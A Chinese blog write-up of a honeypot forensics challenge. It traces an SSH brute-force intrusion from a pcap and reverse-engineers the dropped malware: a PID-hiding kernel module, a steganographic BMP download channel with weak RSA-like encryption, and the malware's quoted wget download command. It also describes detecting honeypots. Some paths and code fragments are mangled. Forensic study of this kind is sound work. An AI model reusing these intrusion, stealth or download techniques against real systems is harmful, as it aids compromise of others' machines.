黑客渗透笔记 黑客挑战赛之蜜罐取证技术
黑客花无涯 带你走进黑客世界系列文章
学习黑客经典书籍 网络黑白 某宝有售
接触了某蜜罐取证挑战赛的游戏,环境是某S捕抓到一次Linux环境入侵的网络流量,要求参加游戏者通过pcap文件分析出攻击过程,其中涉及到逆向、RSA密钥破解以及信息隐藏等技术。
检测低交互蜜罐:
配置失真与资源抢夺
我们已经知道低交互蜜罐是不能够给敌人提供一个完整的操作系统环境,所以可以通过使用一些复杂的命令和操作,以及一些想不到的输出解决来检查是不是处在蜜罐环境中。
另外一种情况就是出现了配置失真,也就是说在一台机器上出现了两种不同平台的服务,举个例子:运行一个Windows的Web服务器同时运行了一个Linux的FTP服务器,这样的话就出现了配置失真。使用nmap -s这个方法可以来观察开启的服务,如果发现了平台与服务不匹配的,说明这很有可能就是一个蜜罐。
首先一如往常,举办方提供一份pcap文件,并有几份简单的日志文件,如图1所示。
其中的doc文件就是此次比赛的问题了,大体如下:
1)攻击者如何获取登录主机的权限;
2)攻击者如何隐藏信息;
3)提供所有密钥,隐藏信息;
4)最后的payload目的是什么。
既然有shadow,就放到一台服务器上用john跑下,这里我们主要关注pcap文件(根据以往的经验,这个pcap文件将会包括我们想要的东西)。
先用WireShark和NetworkMiner分别载入pcap文件看看。在WireShark中进行数据总览,通过观察,发现连接协议只有ssh和http(估计是出题者精简掉某些包了),而且前期均是发起ssh连接请求,后期则是数个http通信。而前期的ssh通信过程中,可以观察到都是不同高位端口连接服务器的22端口,交换密钥,之后进行简短的数据通信就关闭了连接,进行下一次的ssh连接,所以我们有理由相信这是使用sshbruteforce进行的攻击。如图2所示。
图3是john跑出来的结果,都是很弱的密码。我们再看看sudoers.log文件的内容,如图4所示。
猜到manager或者sean的密码再sudo下就是root了,多可爱的蜜罐。接着我们继续看WireShark,如图5所示。
在ssh暴破过后,可以看到为数不多的几个http通信。通过Networkminer把httprespond中返回的数据提取出来,如图6和图7所示。(中国黑客协会创始人花无涯)
用file递归识别文件,可以发现d1和d2都是elf文件,其中d1是elf可执行文件,d2是模块,d3则是shell脚本,其他被编码过的文件名都是bmp图片。还是先从明文的d3入手,看看能不能找到什么蛛丝马迹。
d3的目的是把d1移到/ar/mail/mail中执行,加载模块d2并加入到/etc/modules中,方便以后加载。启动d1,把其pid写入/proc/dmesg,最后清理环境。难道d1和d2才是malware?启动A,加载模块d2,如图8所示。得益于Linux模块没有去掉函数名和调试信息,可以很清楚地看到模块的流程如下:
Our_Proc_File=create_proc_entry(dmesg);//创建/proc/dmesghide_pid(ori_proc_readdir,my_proc_readdir);
结合上面d3的脚本,很容易猜到d2模块是用来隐藏d1进程(pidofmail)的pid。我们整理下思路,从之前的分析得知,攻击者先用爆破猜到ssh密码,然后用wget拖了几个文件到ictim,为什么我能确定是wget?看http通信的user-agent就知道了。其中d3是脚本启动d1和d2,d2用于隐藏d1,而d1估计就是我们期待已久的malware了。很有意思的一点是,d1调用的libc.so版本是libc.so.6。查看常见的Linux发行版的CHANGELOG,发现REDHAT、centos和ubuntu服务器版本的CHANGELOG都没用到那么高版本的glibc,只有fedora16和比较新的ubuntults才包含这个版本的glibc。
接着我们来看看d1。首先还是动态跟踪程序,strings查看程序,发现有UPX字样。直接upx–d,用官方的加壳工具就能脱掉。再用ida观察string,如图9所示。
有过base64编码经验的,对第一段字符串可能会很敏感,因为它苦恼是base64中引用到的字符串。先不忙下结论,接下来的一行“wget-O%s%shttp://%s/n/%s”很有意思,在WireShark里用http,.request过滤看看数据包,如图10所示。
IP地址和在A中看到的string刚好匹配,http请求中都是http://xxx/n/xxx格式。结合两者,现在可以判定图片是由d1调用wget下载的。接着用A查看汇编代码,程序没有被strip过,能够直接看到符号表symtable以及函数名,下面的伪代码是main()函数的流程。
这样整个流程就大概清楚了,接着就是真正考验汇编功底的时候了。首先入手的是整个程序最复杂的makeKeys()函数,浏览该函数,发现好几个有意思的函数和全局变量。
random()//产生随机数genPrime()//产生primenum=quickPrimeTest()add(),subtract(),dec(),product()//经过逆向发现是大数加法,减法,自减,乘法//lookupPri=PRIATElookupMod=Module模数lookupPri,lookupMod看到这么多大数的运算函数,很容易想到是类RSA算法。类似RSA算法的套路一般如下:/**************************//*letp,qtoprime*/*/*/通过随机数,计算出大素数p,q,注意p,q不能相同/*n=p*q/*oula(n)=(p-1)(q-1)/*lete:gcd(o(n),e)/*ed==1modo(n)欧拉函数*/欧几里德求最大公约数gcd(a,b)=gcb(b,(amodb))*/e*d全等与1取模o(n)/**************************/公匙为Pu(e,n)Pr(d,n)利用方法:M^emod(n)=CC^dmod(n)=M//M是待加密的数据,C是取模后的数据(加密后)
//类rsa加密的巧妙之处就在这里了对照这一套路,可以看到makeKeys()和以上的算法是十分类似的。而makeKey()使用随机数调用getPrime()确定素数,再利用素数调用大数运算函数产生全局变量lookupMod、lookupPri、lookupSize,和lookupFile。同时,我们在makeKey中的gcd使用的e为0x10001。由以上种种,我们猜测就是类RSA算法。下面我们要加以证明,因为整套程序的漏洞就在于此了。
makeKey后的操作是requestFile,就是通过base64把lookupMod编码后向那几个IP请求文件,如图11所示。
requestFile后程序通过decryptMessage来解密数据。该函数首先打开先前wget下的图片,再调用extract_message,从图片中释放被加密的信息。
我们再看看extract_msg函数。注意malware下载下来的图片都是bmp格式的,extract_msg很明显是从图片中释放被加密的信息。bmp有lsb隐藏的方式,我这里简单画个图进行说明,如图13所示。
一个bmp文件跟elf之类的文件一样,先需要一个bmpfilehead来简单描述图片,通过infohead详细描述,如图片高度、宽度,再之后就是图片的每个像素的信息了,每个字节中存放rgb和lsb信息,我们能改写的就是lsb位了。因为lsb位又名最不重要位,由于bmp文件的性质,改变lsb位不会影响人们对图片的敏感度。lsb位在每个字节的最后1位,也就是每一字节能存放1bit的数据。如图14所示。
以上这些信息还都是我们的猜想,还需要结合代码来看,如图15所示。
extract_msg的原理就是先读取bmp文件,并把offset指向文件开始的0x36处(bmp文件头长为0x36=54),然后提取每字节的最后1bit,组合4byte作为长度(getbyte),再继续读出n*8byte数据。知道原理代码就好写了,我们可以利用一段简单的python脚本实现类似extract_msg的功能。
defextract_message(bmp):data_offset=struct.unpack(c,bmp[10])[0]
从图片中提取的信息明显不是明文的,肯定是被之前rsakey加密过的(因为extract_ms后decrypt_Message函数再调用一次powmod()),这点更证明了之前encrypt类型是使用类RSA算法的判断。
在decryptMessage后的processMessage()函数就相当的简单了,通过之前rsadecrypt出来的文件,processMessage会用于判断其文件头是否包含PON还是NUR(不正是NOP和RUN的反转吗?),如图16所示。如果发现是RUN,就把文件写入/ar/mail/sysutil,并通过popen执行。
这样,整个程序的流程就分析出来了,关键问题是decryptMessage函数。据目前可知的攻击RSA算法的方法,均是分解模数N,只要通过分解N,即能确定两素数,这个RSA算法就没有意义了。在与友人交流的时候,他们提醒了我一点,就是makeKey()函数中产生素数的时候,第二个素数是根据第一个素数产生的。这样导致的问题便是,使用费马大数分解
法,将在几秒之内分解出两个素数。
这份代码很可能是malware编写者在写代码时疏漏了,明明生成了两个随机数,可是第二个getPrime()居然使用第一个prime作为基数来生成第二个素数,由此使用费马分解法能很简单地分解出两个相近的素数的乘积(也就是N)。
这里就直接提供python代码了。我们可以GDB调试.
学习黑客经典书籍 网络黑白 某宝有售
中国黑客协会 普及网络安全知识,让更多的人学习并重视网络安全和信息安全。
中国黑客协会是一种精神的传承,黑客代表是一种精神,它是一种热爱祖国、坚持正义、开拓进取的精神。
领取专属 10元无门槛券
私享最新 技术干货